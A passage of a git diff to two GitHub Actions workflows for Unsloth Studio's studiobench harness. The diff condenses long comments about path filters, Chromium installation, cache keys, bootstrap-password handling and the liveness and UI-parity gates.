+# resolve the effects): selftests, plus a real session with --assert-liveness, since
+# actions that never fire still exit 0.
name: studiobench CI
@@ -35,47 +11,31 @@ on:
pull_request:
paths:
- 'tests/studio/studiobench/**'
- # Reached by the installer this workflow already triggers on, so a commit touching
- # only one of these changes what the job runs while matching nothing else in the
- # list. install.sh --local hands off to the checked-out studio/setup.sh
- # (install.sh:7351), setup.sh runs nvidia_probe.py (setup.sh:266), and setup.ps1
- # runs install_python_stack.py and install_llama_prebuilt.py (setup.ps1:8127, 8655).
+ # Reached by the installers this workflow triggers on.
- 'studio/nvidia_probe.py'
- 'studio/setup.sh'
- # setup.sh's fresh-install path runs install_python_stack.py (setup.sh:2014) and
- # install_llama_prebuilt.py, so the chain from install.sh --local reaches these too.
- 'studio/prebuilt_core.py'
- # setup.sh runs this at setup.sh:5130 and setup.ps1 at setup.ps1:9025, so it is the
- # last executed edge of the installer chain that was not listed here.
- 'studio/install_*.py'
- 'studio/node_prebuilt_pins.json'
- '.github/workflows/studiobench-ci.yml'
- # The liveness job boots Studio through boot-studio-api-only.sh, which runs this
- # checkout's unsloth CLI (unsloth_cli:app). The selftests run pytest
- # tests/studio/studiobench from the repo root, which loads tests/conftest.py, the
- # tests package and the tests/_shared helpers.
+ # Liveness boots this checkout's CLI; selftests load tests/conftest.py and tests/_shared.
- 'unsloth_cli/*.py'
- 'unsloth_cli/commands/*.py'
- 'tests/conftest.py'
- 'tests/__init__.py'
- 'tests/_shared/**'
- # The harness drives the shipped frontend through the real backend, so a
- # change to either can break it without touching a file under tests/.
+ # The harness drives the shipped frontend through the real backend.
- 'studio/frontend/**'
- 'studio/backend/**'
- # The liveness job installs Unsloth to get an Unsloth to drive.
- 'install.sh'
- 'pyproject.toml'
- '.github/actions/install-unsloth-local/action.yml'
- # Reached through install-unsloth-local, which uses the dist and uv cache pairs.
- '.github/actions/frontend-dist-restore/action.yml'
- '.github/actions/frontend-dist-save/action.yml'
- '.github/actions/uv-cache-restore/action.yml'
- '.github/actions/uv-cache-save/action.yml'
- '.github/scripts/boot-studio-api-only.sh'
- '.github/scripts/wait-for-health.sh'
- # The Chromium install step shells out to this, so an edit to it changes what
- # this workflow actually runs.
- '.github/scripts/retry-with-apt-lock.sh'
push:
branches: [main]
@@ -87,10 +47,7 @@ on:
- 'studio/install_*.py'
- 'studio/node_prebuilt_pins.json'
- '.github/workflows/studiobench-ci.yml'
- # The liveness job boots Studio through boot-studio-api-only.sh, which runs this
- # checkout's unsloth CLI (unsloth_cli:app). The selftests run pytest
- # tests/studio/studiobench from the repo root, which loads tests/conftest.py, the
- # tests package and the tests/_shared helpers.
+ # Liveness boots this checkout's CLI; selftests load tests/conftest.py and tests/_shared.
- 'unsloth_cli/*.py'
- 'unsloth_cli/commands/*.py'
- 'tests/conftest.py'
@@ -133,9 +90,7 @@ jobs:
with:
python-version: '3.12'
- # No browser engine here, on purpose. This job exists to be the fast one:
- # it must stay runnable on a machine with no Chromium, because that is
- # also the machine an external tester first runs `--doctor` on.
+ # No browser engine: --doctor must work on a machine without Chromium.
- name: Install the test dependencies only
run: pip install pytest ruff 'playwright<2' psutil
@@ -145,10 +100,7 @@ jobs:
- name: Lint
run: python -m ruff check tests/studio/studiobench
- # --doctor is the first command in the README and the one an external
- # tester runs before anything works. Every heavy import in the package is
- # lazy precisely so this survives a bare machine; if that lazy-import
- # discipline ever breaks, it breaks here rather than in someone's issue.
+ # Heavy imports are lazy so --doctor survives a bare machine.
- name: Doctor reports rather than crashes
run: python -m tests.studio.studiobench --doctor
@@ -187,8 +139,7 @@ jobs:
uses: ./.github/actions/install-unsloth-local
with:
gh-token: ${{ secrets.GITHUB_TOKEN }}
- # Withheld on PR: this step runs checked-out PR code. studiobench needs
- # no model at all, so nothing here depends on an authenticated fetch.
+ # Withheld on PR: this step runs checked-out PR code; studiobench needs no model.
hf-token: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
- name: Pin the Playwright version so the browser cache has a key
@@ -205,26 +156,15 @@ jobs:
path: ~/.cache/ms-playwright
key: ms-playwright-${{ runner.os }}-${{ steps.pw.outputs.version }}-c-v2
- # Chromium alone. The other two engines are 470 MB each and this workflow
- # never asks for them: studiobench's Linux default is WebKit as a proxy for
- # WebKitGTK, but CI pins Chromium explicitly because the tracing and CDP
- # instruments only exist there, and a liveness gate wants the richest
- # instrumentation, not the most representative engine.
- #
- # Bounded and retried through the shared helper, and the CDN download is kept
- # separate from the apt transaction because they are two different failures.
- # `--with-deps` is deliberately absent: it makes playwright run its own
- # `apt-get update`, which is the one apt call in this repo that cannot be
- # restructured to try the image's lists first.
+ # Chromium only: the tracing and CDP instruments exist only there. No --with-deps: it
+ # runs its own unbounded `apt-get update`; download and apt are separate retries.
- name: Install the Chromium engine
id: pw-install
timeout-minutes: 15
env:
RETRY_ATTEMPTS: '2'
RETRY_ATTEMPT_TIMEOUT: '300'
- # Zero hands resilience to the helper's own attempt loop, which reports which
- # way each attempt went. apt's internal retries are invisible and are charged
- # to the caller's budget.
+ # apt's internal retries are invisible and charged to our budget; the helper retries.
APT_ACQUIRE_RETRIES: '0'
run: |
if [ "${{ steps.pw-cache.outputs.cache-hit }}" != "true" ]; then
@@ -232,10 +172,7 @@ jobs:
python -m playwright install chromium
fi
- # Ask whether the system libraries are actually missing rather than assuming
- # it. ubuntu-latest is a browser-testing image and usually ships them, in
- # which case install-deps is a full apt transaction to install nothing.
- # Launching the engine is the honest test, and it is what the run does next.
+ # Probe whether the system libraries are actually missing before running apt.
probe() {
python - <<'PY'
import sys
@@ -257,16 +194,11 @@ jobs:
echo "system libraries are missing, installing them"
bash .github/scripts/retry-with-apt-lock.sh \
python -m playwright install-deps chromium
- # Fail loudly rather than proceeding into a session that cannot launch a
- # browser, which would otherwise surface as an opaque timeout later.
probe
fi
- name: Save the Playwright browser cache
- # main only, and only on a SUCCEEDING install. A partial download saved
- # under an immutable version-pinned key is restored forever afterwards,
- # reports cache-hit, skips the download, and leaves every later run with
- # engines that are not there. Same reasoning as studio-ui-smoke.yml.
+ # Main only, and only after a successful install: the key is immutable.
if: >-
always() && (github.ref == 'refs/heads/main' || (github.ref == 'refs/heads/upstream-main' && github.repository != 'unslothai/unsloth'))
&& steps.pw-cache.outputs.cache-hit != 'true'
@@ -277,9 +209,7 @@ jobs:
path: ~/.cache/ms-playwright
key: ms-playwright-${{ runner.os }}-${{ steps.pw.outputs.version }}-c-v2
- # No --api-only: studiobench drives the real SPA, so the server has to be
- # serving `studio/frontend/dist`. It needs no model, because the reply it
- # measures comes from its own pacer over an external provider.
+ # No --api-only: studiobench drives the real SPA. No model needed.
- name: Boot Unsloth
run: |
bash .github/scripts/boot-studio-api-only.sh \
@@ -288,33 +218,8 @@ jobs:
- name: Wait for health
run: bash .github/scripts/wait-for-health.sh --port "$STUDIO_PORT" --log logs/studio.log
- # The smallest rung, and quick rather than fast: this job is asking whether
- # every moving part still moves, not how fast anything is. 1K keeps it
- # inside a runner's patience while still running the whole film.
- # The password has to be handed over explicitly. Unsloth mints a bootstrap
- # password on a boot with no auth directory, which is exactly what the boot
- # script arranges by wiping rather than resetting. When studiobench installs
- # its own Unsloth it reads that file itself; when it ATTACHES to one somebody
- # else booted, it has no way to know where that Unsloth's home is, and the
- # failure is a 401 that reads like a harness bug.
- #
- # It then rotates the password and clears `must_change_password`. That gate
- # is not cosmetic: with it set, login succeeds, /healthz answers 200, and
- # every route the harness needs answers 403, so the run reports an empty
- # thread rather than an error.
- #
- # The 100K rung and the fast tier's 57.3 s film, because a liveness gate is
- # only worth anything at a size that exercises the film.
- #
- # This was 1K on the reasoning that the smallest rung is the cheapest, and the
- # first real run refuted it: NINE actions reported NOT RUN, every one of them
- # for an honest reason the rung itself caused. The thread was shorter than the
- # viewport, so neither scroll could travel. No follow-up turns were planned, so
- # `send_turn` found an exhausted queue. The last assistant message carried no
- # More, Copy or Delete button. Measured across real payloads afterwards: at 10K
- # `message_menu` still drops out on some cells, and 100K is the first rung where
- # everything except `image_upload` runs on every cell. That is the same 100K the
- # README names as the smallest rung carrying real load, arrived at independently.
+ # Pass the bootstrap password explicitly: an attached studiobench cannot find the home.
+ # 100K is the smallest rung where every action except image_upload runs.
- name: Run a real-path session
run: |
python -m tests.studio.studiobench \
@@ -324,39 +229,9 @@ jobs:
--engine chromium \
--out outputs/studiobench-ci
- # THE GATE. Exits non-zero unless every scheduled action reports ran=true
- # with no missed slot and a passing expect_ok, and refuses a payload with no
- # cell rows rather than passing over it vacuously.
- #
- # expect_ok is in that list because ran is not did-what-it-claimed: an action
- # whose own assertion failed keeps its timings, and the report already drops
- # them as "must not be quoted". If the gate did not read it, a selector
- # regression that fails every cell's assertion would leave this job green with
- # the surface no longer functional, since --report exits 0 after excluding it.
- #
- # `image_upload` is excused, and it is the only one. It reports NOT RUN on
- # every cell of every 100K run measured, always with the same evidence: the
- # composer's attachments button is in the DOM with a zero box and
- # `mounted: false`, alongside `model_loaded_hint: false`. This fixture drives
- # an external provider and loads no model, so Unsloth does not mount the
- # control. That is a property of the fixture rather than of any change under
- # test, which is the only thing this flag is for. Every name here is a hole in
- # the gate and this one is documented so it can be closed rather than inherited.
- #
- # `--allow-slot-misses` is the OTHER category, and it is not a hole in the same
- # sense. The scene is a fixed-duration film on the wall clock, so a machine too
- # slow to reach a slot records the miss and the film rolls on BY DESIGN, rather
- # than quietly taking a different path through a shorter session. A two-core
- # shared runner does that: `message_menu` at the 32000ms slot was reached at
- # 32901ms and 33043ms on two consecutive runs, about a second past its 800ms
- # budget, reproducibly. Failing on it would make this gate a speed test of the
- # runner instead of a check that every action is reachable.
- #
- # 2, against 18 scheduled actions, because one is what this runner actually
- # misses and the second is headroom. It is deliberately not larger: a run that
- # misses a third of its film has not exercised the film. The step still PRINTS
- # every miss and says the payload is not quotable, which is the point. Numbers
- # are taken on a quiet machine at the default of 0, never from here.
+ # THE GATE: every scheduled action must have ran=true and expect_ok, and an empty payload
+ # fails. image_upload is excused (the fixture loads no model, so the control is not
+ # mounted). --allow-slot-misses 2: a slow runner misses slots by design; keep it small.
- name: Every scheduled action ran
run: |
python -m tests.studio.studiobench \
@@ -364,11 +239,7 @@ jobs:
--allow-not-run image_upload \
--allow-slot-misses 2
- # The step the documentation tells a reader to run, which until now CI never ran. That is
- # exactly why the payload validator could reject the first parity message row, an ordinal
- # that is legitimately 0, and go unnoticed: the session ran green while --report failed on
- # every payload it produced. --report exits non-zero when it cannot score a payload, so
- # running it here keeps the documented path honest.
+ # Run --report, the documented path, which exits non-zero on an unscorable payload.
- name: The payload renders as a report
run: |
python -m tests.studio.studiobench \
@@ -380,9 +251,7 @@ jobs:
if: always()
run: kill "${STUDIO_PID:-0}" 2>/dev/null || true
- # Uploaded on failure only. The payload is the whole diagnostic: it carries
- # each action's reason for not running, which is the first thing anyone
- # debugging this job wants and the last thing a step log preserves.
+ # The payload records each action's reason for not running.
- name: Upload the payload and the Unsloth log
if: failure()
uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2
diff --git a/.github/workflows/studiobench-ui-parity.yml b/.github/workflows/studiobench-ui-parity.yml
index 7e3e1d85aa9..07f25ec03fa 100644
--- a/.github/workflows/studiobench-ui-parity.yml
+++ b/.github/workflows/studiobench-ui-parity.yml
@@ -1,174 +1,59 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Does this pull request change what is on screen?
-#
-# The merge base and the head are installed side by side, driven through the
-# same eighteen scripted actions inside ONE browser session, and their DOM
-# digests compared. A second, CONCURRENT run compares the merge base against
-# ITSELF, and that null control is what the result is scored against.
-#
-# WHY THE NULL IS NOT OPTIONAL. `sweep/ui_parity.py` ships a hand-written list
-# of actions expected to vary between two runs of any build. Declared is not
-# measured: a base-vs-base run scored against that declared list reported
-# ELEVEN stable actions differing. Every one of them would have been read as
-# "this PR changed the UI". So the unstable set this job scores against is the
-# one MEASURED here, on this runner, in the same wave -- `--null` derives it per
-# rung and unions the declared list back in, so an action the null could not
-# reach does not silently become "stable". The null's own score is printed
-# beside the verdict on every run, passing or failing. A parity verdict quoted
-# without the null beside it is not a result.
-#
-# WHY THIS IS A SEPARATE FILE FROM studiobench-ci.yml. `paths:` is per-workflow,
-# not per-job. studiobench-ci.yml is gated on `studio/backend/**`, which fires
-# on video export and RAG changes; a DOM-parity job that runs on those is noise,
-# and a gate people learn to ignore is worse than no gate. The filter below is
-# derived from what actually reaches the browser rather than from where the
-# files live.
-#
-# WHAT THIS WORKFLOW DELIBERATELY DOES NOT DO: gate on a timing, for the reasons
-# studiobench-ci.yml sets out at length. A shared two-core runner cannot resolve
-# the effects studiobench measures; the detection floors this tool derives on a
-# quiet 100-core box are already wider than most of the real effects found in a
-# 40-PR audit, and a floor measured under one contention level does not transfer
-# to another. Measured today on a QUIET machine, one change read -33.6% in one
-# wave and -20.6% in another. STRUCTURE does not do that: a digest of the DOM is
-# the same on a busy runner and an idle one, which is the whole reason this job
-# can exist here and a timing job cannot.
-#
-# Contention reaches this job by one route only, and it is handled: a runner too
-# slow to reach a slot records the action as not run, and `derive_unstable`
-# counts a not-run pair as BLIND, never as evidence that the action is stable.
-# So a contended null control can fail to excuse a genuinely unstable action --
-# which costs a false alarm, loudly -- but it cannot silence a real difference.
-#
-# AND IT MUST FAIL IF THE SCENES DID NOT RUN. Three separate times this harness
-# produced a confident "no effect" from code that could never fire, including
-# four scene actions recording NOT RUN on 312 of 312 attempts, every one exiting
-# 0. Two blank pages have identical digests, so a run that drove nothing is the
-# easiest possible pass. That discipline is kept and RE-EXPRESSED: for a job that
-# reads no timings, an action reached late costs nothing, and an action never
-# compared costs coverage. So the floor is on how much was actually COMPARED
-# (`--min-compared`), checked in the verdict job where both arms are visible, and
-# each arm refuses to hand up a payload with no completed cell. The reasoning,
-# and the mutation study behind it, is at the step that replaced the old gate.
+# Does this PR change what is on screen? Merge base and head run the same scripted
+# actions in ONE browser session and their DOM digests are compared, scored against a
+# concurrent base-vs-base null control. Never gates on timing. Fails if too little was
+# compared (--min-compared), since blank pages have identical digests.
name: studiobench UI parity
on:
pull_request:
paths:
- # What the browser renders. `src/**` rather than an extension list: the
- # locale files under src/i18n are .ts and ARE the visible text, and the
- # two .css files it sweeps in are cheap. Note the digest is CSS-BLIND by
- # construction (scene/parity.js says so at the top of the file): a
- # stylesheet-only change reaches this gate and passes it vacuously. That
- # is a known hole, not a claim of coverage.
+ # The digest is CSS-blind (scene/parity.js), so stylesheet-only changes pass vacuously.
- 'studio/frontend/src/**'
- # Served near-verbatim: studio/backend/main.py reads index.html as bytes
- # and injects into it, so a script or title edit lands in the DOM.
+ # main.py injects into index.html, so edits land in the DOM.
- 'studio/frontend/index.html'
- # Classic scripts index.html loads BEFORE the module graph.
- 'studio/frontend/public/crypto-boot.js'
- 'studio/frontend/public/theme-boot.js'
- # A Radix or assistant-ui bump changes emitted markup and the
- # data-slot/data-state attributes the digest keys on. The lock file is
- # what actually pins the version a caret range resolves to.
+ # Library bumps change markup and the data-slot/data-state attributes the digest keys on.
- 'studio/frontend/package.json'
- 'studio/frontend/package-lock.json'
- 'studio/frontend/vite.config.ts'
- # The backend half, and it is not optional: PR 8222 took the GGUF picker
- # from 22 rows to 63 touching ZERO frontend files, because the rows come
- # from the backend. scene/parity.js digests the model picker and the
- # settings dialog as named overlays, so those rows are inside the measured
- # surface. This is the 8222 blast radius and no wider -- routes/video.py
- # and routes/rag.py are deliberately absent.
+ # Picker rows come from the backend. routes/video.py and routes/rag.py are deliberately
+ # absent.
- 'studio/backend/hub/**'
- 'studio/backend/picker/**'
- 'studio/backend/utils/models/**'
- 'studio/backend/routes/models.py'
- 'studio/backend/routes/settings.py'
- 'studio/backend/models/models.py'
- # Every message the digest reads is put there by runtime/seeder.py through
- # POST/PUT /api/chat/threads, and read back by the reopen action through
- # the same file. So its message serialisation IS the measured surface: a
- # change to how a stored message comes back changes what the transcript
- # renders, on a PR that touches no frontend file at all. It is also the
- # one route that can empty the surface entirely rather than alter it, and
- # a job whose scenes render nothing is the easiest possible false green,
- # which is what --min-compared exists to catch after the fact. Better to
- # run the gate.
+ # The seeder writes and reopens every digested message through this route.
- 'studio/backend/routes/chat_history.py'
- # What that route is a thin skin over: it imports sync_chat_messages and
- # list_chat_messages from here, and those are what actually persist and
- # return the seeded transcript. Listing the route and not its storage
- # leaves the same gap one file down, and this is the layer that can
- # truncate or empty the thread rather than merely reorder it.
+ # The storage layer behind chat_history.py.
- 'studio/backend/storage/studio_db.py'
- # The rows the `model_change` action clicks. runtime/lifecycle.py creates
- # the test provider over POST /api/providers/ because localStorage seeding
- # alone renders the model as "No longer offered", and the frontend reads
- # the same GET /api/providers/ back through providers-api.ts to populate
- # the picker menu -- which parity.js digests by name as an overlay
- # (`.unsloth-model-selector-menu`). So this route both shapes the measured
- # picker and can stop the scripted chat from sending at all.
+ # Creates the provider rows `model_change` clicks in the picker overlay.
- 'studio/backend/routes/providers.py'
- # What that route is assembled FROM, and the same gap one file down that
- # chat_history.py had. ProviderResponse and ProviderRegistryEntry are the
- # shapes of /api/providers/ and /api/providers/registry; get_provider_info
- # and list_available_providers are what fill them; providers_db is what
- # persists the row lifecycle.py creates. All three can change or empty the
- # picker rows `model_change` clicks without the route file being touched.
- # Listed together rather than one per round, because the route, its
- # storage and its response models are one surface split across three
- # files, and naming only the one the import happens to sit in is what left
- # the last two gaps.
+ # The route's models, info helpers and storage: one surface across three files.
- 'studio/backend/models/providers.py'
- 'studio/backend/core/inference/providers.py'
- 'studio/backend/storage/providers_db.py'
- # The gate in front of both of the above. routes/providers.py imports
- # resolve_provider_api_key_or_400 and require_ui_session from here, and
- # inference.py takes provider_config_guard around EVERY scripted chat
- # request (12296, 14270). A change here can stop the provider being
- # registered or reject the request that produces the transcript.
+ # Guards provider registration and every scripted chat request.
- 'studio/backend/routes/provider_credentials.py'
- # Where the scripted turn actually goes. chat-api.ts sends the composer's
- # message to POST /api/inference/chat/completions, which is this file, and
- # the `send` action's success condition is that the turn started streaming
- # AND the thread grew. A change to how that stream is transformed alters or
- # empties the transcript the digest reads. It is also the corpus sizing
- # fallback: seeder.py counts through /api/inference/chat/count_tokens when
- # tiktoken is unavailable, and that ratio decides how much text a rung gets.
+ # Where the scripted turn goes; also the corpus token-count fallback.
- 'studio/backend/routes/inference.py'
- # And the arm of that route studiobench actually takes. `ProviderSeed`
- # registers provider_type "custom" rather than "openai" on purpose, and
- # its own docstring says why: custom is relayed to
- # {base_url}/chat/completions with the SSE lines forwarded verbatim, which
- # is the only path that puts our own event stream in front of the app's
- # parser. inference.py delegates it to ExternalProviderClient, which
- # sanitises every line through sse_control_frames. Either file can alter,
- # truncate or reject the stream that BECOMES the rendered transcript.
+ # The `custom` provider path studiobench takes (SSE relayed verbatim).
- 'studio/backend/core/inference/external_provider.py'
- 'studio/backend/core/inference/sse_control_frames.py'
- # The precondition for reaching any of the above. runtime/lifecycle.py logs
- # each side in over POST /api/auth/login and clears must_change_password
- # over POST /api/auth/change-password before the browser starts, so a change
- # here can stop ONE arm from ever rendering the measured scene. Asymmetric
- # execution is now fatal rather than coverage, which is precisely why the
- # gate should run on the route that can cause it.
+ # Login and password rotation; a change here can stop one arm from rendering.
- 'studio/backend/routes/auth.py'
# Decides WHICH dist is served and rewrites the HTML on the way out.
- 'studio/backend/main.py'
- 'studio/backend/run.py'
- # The gate itself, and the tooling it runs, or the filter rots silently.
- 'tests/studio/studiobench/**'
- '.github/workflows/studiobench-ui-parity.yml'
- # parity-install-side.sh runs install.sh --local on this ref, which hands off to
- # studio/setup.sh and the installer modules and builds the frontend with npm ci
- # (reading .npmrc). Both instances then boot through this checkout's unsloth CLI.
- # routes/auth.py above imports models/auth.py and the auth package, and
- # routes/inference.py imports models/inference.py. python -m
- # tests.studio.studiobench imports the tests package.
+ # parity-install-side.sh runs install.sh --local on each side.
- 'studio/setup.sh'
- 'studio/install_*.py'
- 'studio/prebuilt_core.py'
@@ -183,8 +68,6 @@ on:
- 'studio/backend/auth/**'
- 'studio/backend/models/inference.py'
- 'tests/__init__.py'
- # Executed by this job. install.sh is what builds both sides, so a change
- # that breaks it should be able to trigger the job it breaks.
- 'install.sh'
- '.github/scripts/parity-install-side.sh'
- '.github/scripts/parity-find-unsloth.sh'
@@ -194,11 +77,7 @@ on:
- '.github/actions/uv-cache-restore/action.yml'
- '.github/actions/uv-cache-save/action.yml'
-# No `push:` trigger. This job compares a merge base against a head; a push to
-# main has no such pair. It therefore never SAVES a cache either, and does not
-# need to: every key below is one studiobench-ci.yml already writes on main, so
-# this workflow reads that entry rather than minting a second copy of the same
-# bytes against a cache budget measured 99.3% full.
+# No `push:` trigger, so this job never saves caches; it reads studiobench-ci.yml's.
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}
@@ -208,37 +87,12 @@ permissions:
jobs:
arms:
- # Two arms, in parallel, on two runners. The alternative -- one job running
- # the null and then the result -- is three installs and two films end to
- # end, measured at roughly twice this wall clock. Sharding the SCENES
- # instead is not available: `runtime/ab.py` interleaves both builds inside
- # one browser session on purpose, and `sweep/ui_parity.py` refuses to pair
- # two arms recorded under different session ids, so a run split across two
- # machines produces NOT COMPARABLE for every action rather than a verdict.
- #
- # WHAT THE SPLIT COSTS, and it is not nothing. GitHub gives each matrix entry
- # its own runner and does not start them together: across four consecutive
- # waves the two arms drew different runner ids every time, with start-time
- # staggers from 1s to 6m30. So the exemptions the verdict applies were
- # measured on a machine and at a moment the result never touched, and they
- # describe timing races -- the one class of thing that does not transfer. On
- # run 32648192384 the null derived three and the scored runner reproduced
- # ONE; `reasoning_toggle@r100K` is not on the declared list, so it was
- # excused solely by the other machine's race. The null cannot see this: it is
- # one machine agreeing with itself.
- #
- # Rather than pay double wall clock to co-locate, `ui_parity` confines the
- # imported set to what the SCORED runner reproduces, using side A of the
- # result arm -- the same build in every repetition, so comparing it across
- # repetitions is a base-vs-base null in the same session, free. See
- # `in_arm_repeatability` and `confine_to_runner`.
+ # Two arms on two runners. Scenes cannot be sharded: both builds must share one browser
+ # session. ui_parity confines the null's excuses to what the scored runner reproduces
+ # (in_arm_repeatability, confine_to_runner).
name: ${{ matrix.label }}
runs-on: ubuntu-latest
- # Backstop only. Every blocking step below carries its own cap, and they sum
- # to 44: 12 Chromium + 10 + 10 installs + 3 boot/health + 9 film. That is
- # the point -- a step cap names the step in the log, a job cap reports the
- # word "cancelled" and nothing, which is how a deadlocked test held main red
- # for forty hours in this repo.
+ # Backstop above the per-step caps (44), so a hang names its step.
timeout-minutes: 45
strategy:
fail-fast: false
@@ -258,8 +112,6 @@ jobs:
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
- # Both sides have to be checked out as trees, so the objects behind
- # both refs have to be here.
fetch-depth: 0
persist-credentials: false
@@ -271,17 +123,14 @@ jobs:
with:
python-version: '3.12'
- # THE MERGE BASE, NOT THE BASE BRANCH TIP. `base.sha` is where the base
- # branch happened to be, so comparing against it credits this pull request
- # with everything else that landed there since it was opened.
+ # The merge base, not the base tip, so other merged changes are not credited to this PR.
- name: Resolve the merge base and the head
id: refs
run: |
set -euo pipefail
BASE_TIP='${{ github.event.pull_request.base.sha }}'
HEAD_SHA='${{ github.event.pull_request.head.sha }}'
- # Fetched by sha explicitly rather than trusting the checkout's refs: a
- # fork head is not on origin under any branch name.
+ # Fetch by sha: a fork head is not on origin under any branch name.
git fetch --no-tags origin "+${BASE_TIP}:refs/parity/base-tip" \
"+${HEAD_SHA}:refs/parity/head" 2> /dev/null \
|| echo "::notice::fetch by sha declined; relying on the checkout's own objects"
@@ -303,31 +152,21 @@ jobs:
- name: Check the two sides out as separate trees
run: |
set -euo pipefail
- # Separate trees, not one tree with a checkout between: install.sh
- # --local overlays the tree it is run from as an editable install, so a
- # single tree would leave both Unsloth instances serving whichever build was
- # written last. runtime/ab.py refuses to let two arms share a home for
- # exactly this reason.
+ # Separate trees: install.sh --local is an editable install of the tree it runs from.
git worktree add --detach "$RUNNER_TEMP/side_a" "${{ steps.refs.outputs.merge_base }}"
git worktree add --detach "$RUNNER_TEMP/side_b" "${{ steps.refs.outputs.side_b }}"
- # The same uv download cache install-unsloth-local restores, through the action
- # that owns its key, so this job starts from the entry main saved. An inline copy
- # of that key is the drift tests/studio/test_uv_cache_discipline.py exists to stop.
+ # Through the action that owns the key (tests/studio/test_uv_cache_discipline.py).
- name: Restore the uv download cache
id: uv-cache
uses: ./.github/actions/uv-cache-restore
- # No frontend-dist cache here, and that is not an oversight. Its key hashes
- # the ROOT checkout's frontend, and the two sides of this job are two
- # different trees by construction, so one key cannot serve both. Each side
- # therefore pays the frontend build, measured at a median 36s.
+ # No frontend-dist cache: its key hashes the root checkout, not either side's tree.
- name: Install the base side
timeout-minutes: 10
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
- # Withheld on pull_request: this runs checked-out PR code. studiobench
- # needs no model, so nothing here depends on an authenticated fetch.
+ # Withheld on PR: this step runs checked-out PR code; studiobench needs no model.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: bash .github/scripts/parity-install-side.sh "$RUNNER_TEMP/side_a" "$HOME_A" logs/install_a.log
@@ -338,7 +177,6 @@ jobs:
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: bash .github/scripts/parity-install-side.sh "$RUNNER_TEMP/side_b" "$HOME_B" logs/install_b.log
- # No upload: nothing here runs on main, so this job only declares itself a consumer.
- name: Declare this job a uv cache consumer, not a producer
uses: ./.github/actions/uv-cache-save
with:
@@ -352,8 +190,7 @@ jobs:
pip install 'playwright>=1.45,<2' psutil
echo "version=$(python -c 'import playwright; from importlib.metadata import version; print(version("playwright"))')" >> "$GITHUB_OUTPUT"
- # Deliberately the SAME key studiobench-ci.yml uses. Diverging it would buy
- # a second ~300 MB copy of identical bytes and nothing else.
+ # Same key as studiobench-ci.yml.
- name: Restore the Playwright browser cache
id: pw-cache
uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
@@ -362,14 +199,7 @@ jobs:
path: ~/.cache/ms-playwright
key: ms-playwright-${{ runner.os }}-${{ steps.pw.outputs.version }}-c-v2
- # Chromium alone, bounded and retried through the shared helper, with the
- # CDN download kept separate from the apt transaction because they are two
- # different failures. `--with-deps` is deliberately absent: it makes
- # playwright run its own `apt-get update`, the one apt call in this repo
- # that cannot be restructured to try the image's lists first.
- #
- # 2 attempts x 300s + one 125s lock wait = 725s, inside 12 minutes, inside
- # the job's 45.
+ # Chromium only, without --with-deps; 2 x 300s + 125s lock wait fits 12 minutes.
- name: Install the Chromium engine
id: pw-install
timeout-minutes: 12
@@ -407,11 +237,7 @@ jobs:
probe
fi
- # Two Unsloth instances, two homes, two ports. The shared boot helper is reused
- # rather than reimplemented -- it wipes the auth directory so a fresh
- # bootstrap password is minted, which is the part that is easy to get
- # wrong -- but each invocation puts that side's own venv at the front of
- # PATH, because `unsloth` names one binary and there are two installs.
+ # Two instances, homes and ports; each boot puts its side's venv first on PATH.
- name: Boot both Unsloth instances
timeout-minutes: 3
run: |
@@ -424,11 +250,7 @@ jobs:
bash .github/scripts/boot-studio-api-only.sh \
--port "$port" --log "logs/studio_${label}.log" --pid-var "STUDIO_${label}_PID"
bash .github/scripts/wait-for-health.sh --port "$port" --log "logs/studio_${label}.log"
- # READ ONCE, HERE. `<home>/auth/.bootstrap_password` is minted on a boot with no auth
- # directory and Unsloth removes it once it has been used, so every later step that
- # `cat`s it is reading a file documented to disappear -- and studiobench rotates the
- # account to its own password on top of that. Capturing the value at boot makes the
- # order of the steps below irrelevant instead of load-bearing.
+ # Read the bootstrap password once here: it is deleted after first use.
local pw
pw="$(cat "$home/auth/.bootstrap_password")"
echo "::add-mask::$pw"
@@ -437,27 +259,7 @@ jobs:
boot "$HOME_A" "$PORT_A" a
boot "$HOME_B" "$PORT_B" b
- # BOTH ARMS MUST START EMPTY, and this is asserted rather than assumed.
- #
- # An Unsloth home carries its chat database. A home reused from an earlier run brings that
- # run's threads into the shot, and the harness then manufactures a visible difference on
- # the exact pair whose whole claim is that nothing changed -- a real screenshot of the
- # wrong state, under the right label, which is the worst artefact this job could produce.
- # It also catches the case the digest cannot: two arms that are each non-empty but agree
- # would compare clean while measuring somebody else's leftovers.
- #
- # READ FROM THE DATABASE, NOT THE API, and the first version of this did the latter and
- # failed the whole job on every run. Unsloth mints a bootstrap password and sets
- # `must_change_password`; until that is cleared, login SUCCEEDS and returns a token while
- # every authenticated route answers `403 Password change required`. studiobench clears the
- # gate itself when it authenticates, which is after this step, so a check that calls
- # `/api/chat/threads` here can only ever 403 -- exactly what run 32605705930 did, failing
- # both arms in under three minutes without either of them reaching a parity comparison.
- # `lifecycle.py` documents that gate at the top of the file; it is easy to walk into from
- # a new direction anyway.
- #
- # sqlite has no such gate, needs no server and no credential, and answers the question more
- # directly than the API does.
+ # Both arms must start empty; read sqlite since authenticated routes 403 until the password changes.
- name: Both arms start from an empty thread list
timeout-minutes: 2
run: |
@@ -494,17 +296,8 @@ jobs:
sys.exit(1)
PY
- # --reps 2, not 1, and this is load-bearing rather than a comfort margin.
- # `analysis/parity.derive_unstable` needs min_observations=2 before it will
- # call an action unstable at a rung; at --reps 1 every action comes back
- # UNDETERMINED, the measured set is EMPTY, and the run silently falls back
- # to scoring against exactly the declared list this job exists to replace.
- # A null that derives nothing looks identical in the log to a null that
- # derived a clean set, which is why the verdict job asserts on it.
- #
- # 100K because it is the first rung where everything except image_upload
